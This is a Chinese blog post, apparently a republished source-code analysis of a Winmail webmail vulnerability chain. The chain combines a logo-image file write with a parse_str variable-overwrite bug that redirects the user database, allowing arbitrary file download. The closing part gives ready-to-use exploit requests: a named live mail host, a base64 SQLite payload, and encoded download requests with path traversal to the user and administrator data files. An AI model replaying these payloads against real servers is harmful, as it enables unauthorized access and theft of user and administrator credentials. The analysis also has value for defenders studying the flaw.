码迷,mamicode.com
首页 > Windows程序 > 详细

winmail getshell源码分析(任意文件下载)

时间:2017-01-28 17:22:54      阅读:1154      评论:0      收藏:0      [点我收藏+]

标签:sig   vdi   disk   控制文件   plc   cdn   wax   hex   没有   

http://www.tuicool.com/articles/BFZ7Rze 根据此链接分析

winmail中全局变量全部在./inc/config.php中定义。如果出现变量覆盖漏洞则可以覆盖任意全局变量。

根据作者思路先看wap.php这个文件。

switch ($dest){
case ‘index‘: include(‘../wap/index.php‘); break;

当wap.php?dest=index时调用index.php文件

观察index.php(位于../wap/index.php)

$logofile = ‘‘; //可忽略
if ($logoimage != ‘‘) { //文件
	if (strncasecmp($logoimage, ‘jpg:‘, 4) == 0 || strncasecmp($logoimage, ‘gif:‘, 4) == 0 
		|| strncasecmp($logoimage, ‘png:‘, 4) == 0) { //判断文件后缀,取前三位作为后缀,与其他比较
		$arrImage = explode(‘:‘, $logoimage); //将logoimage分为一个数组存到$arrImage
		if (count($arrImage) == 3) { //如果arrimage有3个值
			
			$logofile = $customizepath.$f_domain.‘_logo.‘.$arrImage[0]; //要保存的文件位置  把$arrimage[0]作为后缀, $f_domain是文件名一部分 $customizepath是文件路径(从全局取得)
			if (!file_exists($logofile) || filemtime($logofile) <= floatval($arrImage[1])) { //如果文件不存在 则写入文件
				$fullfile = $webmailhome_directory.$logofile;
				file_put_contents($fullfile, base64_decode($arrImage[2]));
			}
	    }
	}
}

  在这段代码中,可控变量有$logoimage $f_domain 控制$logoimage可控制文件后缀和文件内容,$f_domain可控制文件名

由此一个写入特定后缀文件的漏洞形成。但只局限于jpg gif png等。并不能得到权限。

 

在viewsharenetdisk.php中

if (isset($f)) {
 
  $f = str_replace(‘ ‘, ‘+‘, $f);
 
  $f = base64_decode($f);
 
 
  parse_str($f);
 
}

  parse_str存在变量覆盖漏洞。$f可被覆盖。 需要base64加密,之后的变量在没有重新赋值时便可任意控制

 

	if ($chksun != ‘‘ || $filename != ‘‘) {
		$item = ($chksum != ‘‘) ? $chksum : str_replace(‘ ‘, ‘+‘, $filename);
echo ‘aaa‘.md5($item.‘|‘.$userinfo[‘userid‘].‘|‘.$userinfo[‘createtime‘]).‘aaa‘;           //判断itemcode是否相等

		if ($itemcode != md5($item.‘|‘.$userinfo[‘userid‘].‘|‘.$userinfo[‘createtime‘])) {
			$smarty->assign(‘errCode‘, 1);
			$smarty->display($selected_theme.‘/netdisk-viewshare.htm‘);
			exit;
		}
	}
}
...
...
if ($chksum != ‘‘) {
echo ‘$chksum:‘.md5($userid.‘|‘.$filename.‘|‘.$start).‘$chksum:‘;

	if ($chksum != md5($userid.‘|‘.$filename.‘|‘.$start)) {   //判断chksum是否相等


		$smarty->assign(‘errCode‘, 2);
		$smarty->display($selected_theme.‘/netdisk-viewshare.htm‘);
		exit;
	}

  按照流程走下来。需要验证$chknum和$itemcode。 这两个变量可以覆盖,但是不知道userinfo的md5值。

网上看userinfo由

$domaininfo = load_domaininfo($domain);
$userinfo = load_userinfo($userid);

获得。

而sql中有new sqlite带入一个变量

inc/class.sqlitedb.php

function __construct($file) {
            $this->dbfile = $file;
            
            $this->Open();
        }

 

inc/lib.php


function load_userinfo($name, $domain = null) {
    if (is_null($domain)) {
        $pos = strpos($name, ‘@‘);
        if ($pos !== false) {
            $domain = substr($name, $pos+1);
            $name = substr($name, 0, $pos);
        }
        else {
            $domain = ‘‘;
        }
    }
    
    global $mailuser_dbfile;    
    echo $mailuser_dbfile;
    $db = new SqliteDB($mailuser_dbfile);

这里的$file 由mailuser_dbfile传入。 mailuser_dbfile是在全局中定义的,此时可覆盖。

 

于是我们可以通过任意文件写入一个数据库,利用覆盖mailuser_dbfile得到一个新的数据库,此时数据库中的userindo便可控制。 据此可以达到任意文件下载的目的。
http://mail.jida.com.cn/wap.php?dest=index


logoimage=jpg:1.jpg:U1FMaXRlIGZvcm1hdCAzAAQAAQEAQCAgAAAXtgAAAAwAAAAIAAAAAwAAAHYAAAAEAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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IA0KICBbbGFzdHZpc2l0dGltZV0gQklHSU5ULCANCiAgW3BhdXNldGltZV0gQklHSU5ULCANCiAgW21heHJjcHRdIElOVCwgW2F1dG9hcmNoaXZlXSBWQVJDSEFSKDEyOCkgTlVMTCwgW2F1dG9jbGVhbnVwXSBWQVJDSEFSKDEyOCkgTlVMTCwgW3NlY3JldGxldmVsXSBJTlQgTlVMTCwgW3dlaXhpbl0gVkFSQ0hBUigyNTYpIE5VTEwsIFtkaW5nXSBWQVJDSEFSKDI1NikgTlVMTCwgW29sZHBhc3N3b3JkXSBWQVJDSEFSKDEyOCkgTlVMTCwgW21haWxob3N0XSBWQVJDSEFSKDEyOCkgTlVMTCwgW29sZG1haWxob3N0XSBWQVJDSEFSKDEyOCkgTlVMTCwgW3N5bmNhY3Rpb25dIFZBUkNIQVIoMzIpIE5VTEwsIFtzeW5jdGltZV0gQklHSU5UIE5VTEwp&f_domain=fghfgfghf1&customizepath=1

写入customer/fghfgfghf1_logo.jpg文件

下载用户数据


viewsharenetdisk.php?userid=admin&f=bWFpbHVzZXJfZGJmaWxlPS5cY3VzdG9tZXJcZmdoZmdmZ2hmMV9sb2dvLmpwZyZ1c2VyY29kZT1kMWRmZDg4YTgwZTVjOWU4OTU2ODZhM2ZiYmUwMDI3OSZvcHQ9ZG93bmxvYWQmZmlsZW5hbWU9WEM0dUx5NHVMMlJoZEdFdmJXRnBiSFZ6WlhJdVpHST0maXRlbWNvZGU9YTMwMzk4ODJhMDk1M2RmM2E4NDBlOTVkZjBhNDg3NjImY2hrc3VtPTM1OGE2OTJlODk4OWQ0NDVhZGQ2YjU1OGNjYjU1Y2UxJnN0YXJ0PTEmbmV0ZGlza19zaGFyZV9leHBpcmU9MTQ3OTg2NTY5MzE=

 

下载管理员数据

viewsharenetdisk.php?userid=admin&f=bWFpbHVzZXJfZGJmaWxlPS5cY3VzdG9tZXJcZmdoZmdmZ2hmMV9sb2dvLmpwZyZ1c2VyY29kZT1kMWRmZDg4YTgwZTVjOWU4OTU2ODZhM2ZiYmUwMDI3OSZvcHQ9ZG93bmxvYWQmZmlsZW5hbWU9WEM0dUx5NHVMMlJoZEdFdllXUnRhVzUxYzJWeUxtTm1adz09Jml0ZW1jb2RlPTZhNzgzMTMzMjE5OGU0ZDU1NmQyYWY5ZDYxZWI4ZmIwJmNoa3N1bT1kYWI4YTQwN2JhMGFjOGRhYThhZjQyN2Q2NDU0OTQzZiZzdGFydD0xJm5ldGRpc2tfc2hhcmVfZXhwaXJlPTE0Nzk4NjU2OTMx

 

winmail getshell源码分析(任意文件下载)

标签:sig   vdi   disk   控制文件   plc   cdn   wax   hex   没有   

原文地址:http://www.cnblogs.com/Am0s/p/6354336.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!